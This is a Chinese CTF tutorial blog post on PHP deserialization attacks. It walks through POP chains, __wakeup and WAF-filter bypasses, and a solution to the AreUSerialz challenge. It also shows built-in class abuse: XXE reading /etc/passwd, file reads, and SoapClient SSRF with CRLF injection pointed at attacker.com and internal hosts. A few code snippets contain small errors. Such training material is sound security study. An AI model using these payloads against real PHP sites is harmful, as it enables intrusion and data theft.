php反序列化从基础到入门
·
每天手工一篇博客之php反序列化
- day:1
一、序列化与反序列化基础
- 先认识二个入口函数
serialize()/unserialize() serialize()序列化,unserilaze()反序列化->一般是反序列化题目的入口
魔术方法
__construct():创建对象时自动触发__destruct():对象销毁时自动触发(一般就是反序列化开始就触发)__wakeup():反序列化时自动触发__tostring():当对象被当作字符串时自动触发__call():调用不可访问的方法时自动触发__get()/__set():访问/设置不可访问属性时触发__invoke():当对象被当作函数时调用
简单的链式调用
class A {
public $hook;
function __destruct() { $this->hook->close(); }
}
class B {
function __call($name, $args) { $this->cmd($args[0]); }
function cmd($cmd) { system('$cmd'); }
}
$data = unserialize($_GET['data']);
// 传序列化的 A 对象 → __destruct 触发 →
// $hook->close() 不存在 → __call 触发 → cmd() 执行
//如果我们控制传入的$args是我们的命令如cat /flag
绕过技巧
- 从上面的例子可以得出,魔术方法可以相互串联使用
- 但是出题人可能会用魔术方法设限
- 例如最经典的
__wake( )可能用这个来强制更改我们可注入参数,想要绕过也是一个经典的手法,更改属性数量。当反序列化字符串中表示属性个数的值大于真实属性个数时,__wakeup()方法的执行会被跳过。这是因为PHP在反序列化过程中会忽略多出来的属性,从而绕过__wakeup()方法。
class User {
public $username = 'guest';
function __wakeup() {
// 反序列化时自动执行——但我们可以绕过它!
$this->username = 'guest'; // 强制设回 guest
}
}
// 正常序列化:O:4:"User":1:{s:8:"username";s:5:"admin";}
// 反序列化时会执行 __wakeup → username 被强制改成 guest
// 绕过:把属性数量从 1 改成 2
// O:4:"User":2:{s:8:"username";s:5:"admin";}
// ↑ 属性数量比实际多
// → __wakeup() 被跳过!username 成功保留为 admin
- S大写绕过对字符串的过滤
// 正常序列化(小写 s)
s:6:"system";
// 如果 WAF 或代码过滤了 "system" 字符串,会被拦截
// 绕过:大写 S + 十六进制编码
S:6:"\x73\x79\x73\x74\x65\x6d";
// \x73=s, \x79=y, \x73=s, \x74=t, \x65=e, \x6d=m
// → 反序列化后仍然是 "system",但绕过了关键词匹配
// 实际 payload 对比:
// 字符串 "cat /flag"
// 正常: s:9:"cat /flag";
// 大写 S 编码: S:9:"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67";
3.+号绕过正则匹配表达式
// 很多 WAF 用这种正则拦截反序列化:
// /O:\d+:.*\{/ — 匹配 O:数字: 的模式
// 正常 payload(被拦截):
// O:4:"User":1:{s:8:"username";s:5:"admin";}
// 绕过:加 + 号
// O:+4:"User":1:{s:8:"username";s:5:"admin";}
// ↑ 加 + 号正则不匹配,但 PHP 能正常解析
// 或者:把花括号改成十六进制
// O:4:"User":1:{s:8:"username";s:5:"admin";}
// 正则匹配 O:数字: 的话,加 + 号是最好用的绕过
- 私有属性 \0*\0 绕过
- 原理:PHP 的私有属性在序列化时,属性名格式为
\0ClassName\0propertyName(\0 是空字节)。protected 属性格式为\0*\0propertyName。 - php对与私有属性与公有属性检查不严格
class User {
private $role = 'user'; // 私有属性
protected $name = 'guest'; // 受保护属性
function is_admin() {
return $this->role === 'admin';
}
}
// 正常序列化(私有属性):
// O:4:"User":2:{
// s:10:"\0User\0role";s:5:"admin"; ← 注意空字节!
// s:7:"\0*\0name";s:5:"admin"; ← 注意空字节!
// }
//记得更改一下s的字节长度
// \0User\0role = 1 + 4 + 1 + 4 = 10 字节
// \0 * \0name = 1 + 1 + 1 + 4 = 7 字节
//其实我还记得有道题目,在序列化时直接把私有属性改为公有属性,直接生成序列化就可以了
例题buu[网鼎杯 2020 青龙组]AreUSerialz(现在改名为CTF2了)
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
}
- 我们的最终目标是
$res = file_get_contents($this->filename);起点是__destruct(),这个pop链就是__destruct()->proces()->read()->$res = file_get_contents($this->filename); - 思路清晰,来构建序列化
<?php
highlight_file(__FILE__);
class FileHandler {
protected $op = 2 ;
protected $filename = "php://filter/read=convert.base64-encode/resource=flag.php"; // 或 "flag.php"
protected $content;
}
$a = new FileHandler();
$b = serialize($a);
?>
- 到这里,基础的反序列化就掌握了,逆着思维思考其实更简单,就像走迷宫一样,从终点往回找,是更简单的。
PHP 原生内置类 — 反序列化利用
PHP 内置类可以在不写自定义 class 的情况下直接用于反序列化攻击。当我们缺失魔术方法时就可以使用这些。
1. Exception / Error — 文件读取 + XSS
// 利用 Exception 的 __toString 输出文件内容
$e = new Error("<script>alert(1)</script>");
// 序列化: O:5:"Error":1:{s:10:"message";s:27:"<script>alert(1)</script>";}
// 实际利用场景:反序列化后触发 __toString → 内容被回显在页面上
// 可用于 XSS 或读取自定义 "文件内容"
2. SimpleXMLElement — XXE 注入(sctf2026 web shop 感兴趣可以去看看)
// SimpleXMLElement 在构造时解析 XML,支持外部实体
$xml = new SimpleXMLElement('<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>');
$xml = new SimpleXMLElement($data,$option,$dataisurl)
//$data表示是XMl文本/XML文件地址
//$option表示是
常量 作用
LIBXML_NOCDATA 把 CDATA 节点转为普通文本 001
LIBXML_NOWARNING 屏蔽 XML 警告 010
LIBXML_NOERROR 屏蔽 XML 报错
LIBXML_NOBLANKS 自动忽略空白换行节点
LIBXML_COMPACT 压缩空白,优化内存
optino1|option2数值要叠加
//$dataisurl默认false,表示$data是文本,以文本形式读取XML,true表示从对应网址或者文件地址加载XML
这里就可以结合使用XXE的外带来解决文件读取问题了|
// 序列化: 需要传两个参数 ($data, $options, $data_is_url)
// 但 SimpleXMLElement 的序列化有特殊格式
// 利用方式:
// 1. 将这个对象传给某个会输出它的代码(如 echo $obj)
// 2. XML 被解析 → 外部实体被读取 → 文件内容出现在输出中
构造方式:
// 第一个参数是 XML 字符串,第二个是选项,第三个是 data_is_url
// O:16:"SimpleXMLElement":0:{}
// 但 SimpleXMLElement 无法直接序列化,
// 需通过 __wakeup 或 __destruct 中的函数来触发
3. SplFileObject — 读取任意文件
$f = new SplFileObject('/etc/passwd');
echo $f; // 触发 __toString → 输出文件第一行内容
// 或者 foreach($f as $line) { echo $line; }
序列化构造:
// SplFileObject 的序列化不支持直接指定文件路径
// 需要配合 __wakeup 或其他魔术方法触发
// 典型用法:SplFileObject 作为某个 class 的属性,
// 当该 class 的 __toString 或 __destruct 中做了 foreach 或 echo 时触发
4. GlobIterator — 文件/目录遍历
$it = new GlobIterator('/tmp/*');
foreach ($it as $f) {
echo $f->getFilename() . "\n";
}
// 可用于探测目录结构
序列化绕过:
// GlobIterator 也是通过构造时的参数来执行
// 结合 __toString 或 foreach 循环触发
// O:12:"GlobIterator":0:{}
5. SoapClient — SSRF / 反序列化触发外部请求
最强大的内置类之一!
// SoapClient 在 __call 魔术方法中会发起 SOAP 请求
$client = new SoapClient(null, [
'location' => 'http://attacker.com:9999/',
'uri' => 'http://target',
'user_agent' => "test\r\nCookie: PHPSESSID=abc123\r\n"
]);
// 当触发 $client->任意方法() 时,会向 attacker.com 发起 HTTP 请求
核心利用链:
// 假设有某个 class 的 __destruct 调用了 $this->a->任意方法()
// 而 $this->a 可以设成 SoapClient 对象
class Trigger {
public $hook;
function __destruct() {
// $this->hook->close() 不存在 → 触发 __call
$this->hook->close();
}
}
// 构造 payload:
$soap = new SoapClient(null, [
'location' => 'http://127.0.0.1:8080/admin',
'uri' => 'http://target',
'user_agent' => "phprce\r\nContent-Type: application/x-www-form-urlencoded\r\nX-Forwarded-For: 127.0.0.1\r\n"
]);
$trigger = new Trigger();
$trigger->hook = $soap;
// 反序列化 $trigger → __destruct → $hook->close()
// → SoapClient::__call → 向 127.0.0.1:8080 发起 HTTP 请求
// → SSRF 或 CRLF 注入
CRLF 注入实现任意 POST 请求:
// user_agent 中可以注入换行符来构造完整的 HTTP 请求
$soap = new SoapClient(null, [
'location' => 'http://127.0.0.1:8080/',
'uri' => 'http://target',
'user_agent' => "x\r\nContent-Length: 40\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\nusername=admin&password=test\r\n"
]);
// 这样 SoapClient 发请求时,HTTP 头中会注入额外的请求体
// 实现对内网接口的任意 POST 操作
6. ZipArchive — 文件删除 / 操作
$z = new ZipArchive();
$z->open('/tmp/test.txt', ZipArchive::OVERWRITE);
// 在 __destruct 中可能会调用 close,可用于文件操作
7. ArrayObject / ArrayIterator — 与 preg_replace 配合
// ArrayObject 实现 ArrayAccess 接口,
// 配合某些魔术方法可以改变数组访问行为
$arr = new ArrayObject(['key' => 'value']);
内置类利用速查
| 类名 | 触发方式 | 效果 |
|---|---|---|
SoapClient |
__call 任意方法 |
SSRF + CRLF 注入 → 任意 HTTP 请求 |
SimpleXMLElement |
__construct / __toString |
XXE 文件读取 |
SplFileObject |
迭代 / __toString |
读文件第一行 |
GlobIterator |
迭代 | 目录遍历 |
Error / Exception |
__toString |
XSS / 信息泄露 |
ZipArchive |
__destruct |
文件操作 |
CTF 中最常用的内置类组合:
Trigger::__destruct → $this->hook->close()
→ SoapClient::__call → SSRF 请求内网接口
→ 或通过 CRLF 注入 POST 数据
需要 gd 库、ssh2 等扩展类也可以利用。SoapClient 是 CTF 中出镜率最高的内置类,因为一个类就能完成 SSRF + CRLF 注入 + 任意 HTTP 请求。
ssh2我记得好像是在unictf2026上的一起鸣唱吧上有,可以去尝试一下。
更多推荐


所有评论(0)